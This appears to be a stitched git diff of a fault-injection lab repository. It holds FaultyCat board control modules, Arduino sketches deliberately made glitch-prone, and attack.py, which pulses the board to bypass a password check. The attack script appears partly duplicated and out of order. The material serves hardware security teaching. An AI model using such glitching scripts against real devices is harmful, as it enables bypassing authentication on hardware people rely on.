+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
